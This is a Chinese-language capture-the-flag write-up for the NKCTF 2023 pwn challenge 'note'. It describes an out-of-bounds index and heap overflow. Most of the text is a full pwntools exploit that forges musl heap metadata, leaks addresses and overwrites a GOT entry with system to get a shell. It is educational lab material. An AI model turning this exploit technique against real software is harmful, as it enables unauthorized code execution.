NKCTF_2023 pwn——note
NKCTF_2023 pwn——note
这比赛的pwn全是模板题,没啥难度,倒是适合学习新知识。
note
漏洞点:Edit存在堆溢出,idx虽然是UNsigned int不存在整数溢出,但是其大小没有限制,可以越出ptr数组。而ptr数组后面紧挨着是一个group(很好奇这个group为什么会出现在ELF里面)
思路:通过idx越界,利用ptr数组后面group的meta指针,打印其meta结构的prev指针并得到heap段基址,从而可以计算出所有meta的地址。通过覆盖这个group指向的meta的prev和next指针,再show一次可以得到meta的mem指针,这个指针指向这个ptr后方的group,也就是说我们可以得到elf基址。
上述meta后方有一个active[3]的meta,这个meta在上述的meta的后方0xa0的地方。通过堆溢出覆盖其prev指针和next指针指向他自己,再覆写mem指针指向ptr数组,即可劫持一个group到ptr数组附近,随后可以在ptr中写入got表项地址,实现泄露libc和篡改got表。
EXP:
from pwn import *
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'
ELFpath='/home/wjc/Desktop/nk_note'
libcpath='/home/wjc/Desktop/libc.so'
r=process(ELFpath)
e=ELF(ELFpath)
libc=ELF(libcpath)
lOGTOOL={}
ru=lambda s :r.recvuntil(s)
rud=lambda s :r.recvuntil(s,drop=True)
rc=lambda n :r.recv(n)
sl=lambda s :r.sendline(s)
sd=lambda s :r.send(s)
def LOGALL():
log.success("**** all result ****")
for i in lOGTOOL.items():
log.success("%-20s%s"%(i[0]+":",hex(i[1])))
def cmd(idx):
ru('your choice: ')
sl(str(idx))
def Add(idx,size,content):
cmd(1)
ru('Index:')
sl(str(idx))
ru('Size: ')
sl(str(size))
ru('Content: ')
sd(content)
def Edit(idx,size,content):
cmd(2)
ru('Index:')
sl(str(idx))
ru('Size: ')
sl(str(size))
ru('Content: ')
sd(content)
def Del(idx):
cmd(3)
ru('Index:')
sl(str(idx))
def Show(idx):
cmd(4)
ru('Index:')
sl(str(idx))
Show(0x10)
heapbase=u64(rud('\n')[-6:].ljust(8,'\x00'))-(0x562993ad6338-0x562993ad5000 )
lOGTOOL['heapbase']=heapbase
meta_ptr=heapbase+(0x000055d65ef53018-0x55d65ef52000)
lOGTOOL['meta_ptr']=meta_ptr
meta_prev=heapbase+(0x000055f82dc47338-0x55f82dc46000)
meta_next=heapbase+(0x000055f82dc470e0-0x55f82dc46000)
Edit(0x10,0x10,'a'*0x10)
Show(0x10)
ru(0x10*'a')
elfbase=u64(rud('\n')[-6:].ljust(8,'\x00'))-(0x55bf8365d120-0x55bf83659000)
Edit(0x10,0x10,p64(meta_prev)+p64(meta_next))
lOGTOOL['elfbase']=elfbase
puts_got=elfbase+e.got['puts']
atoi_got=elfbase+e.got['atoi']
lOGTOOL['puts_got']=puts_got
lOGTOOL['atoi_got']=atoi_got
ptr_base=elfbase+0x40a0
lOGTOOL['ptr_base']=ptr_base
Edit(0x10,0xa0+0x18,0xa0*'a'+p64(meta_ptr+0xa0)*2+p64(ptr_base))
Add(8,0x30,p64(puts_got))
Show(2)
libcbase=u64(ru('\x7f')[-6:].ljust(8,'\x00'))-libc.symbols['puts']
lOGTOOL['libcbase']=libcbase
system_addr=libcbase+libc.symbols['system']
lOGTOOL['system']=system_addr
str_bin_sh=libcbase+libc.search('/bin/sh').next()
lOGTOOL['/bin/sh']=str_bin_sh
#gdb.attach(r,'b*$rebase(0x1448)')
Edit(8,0x8,p64(atoi_got))
Edit(2,0x8,p64(system_addr))
ru('your choice: ')
sd('/bin/sh\x00')
LOGALL()
r.interactive()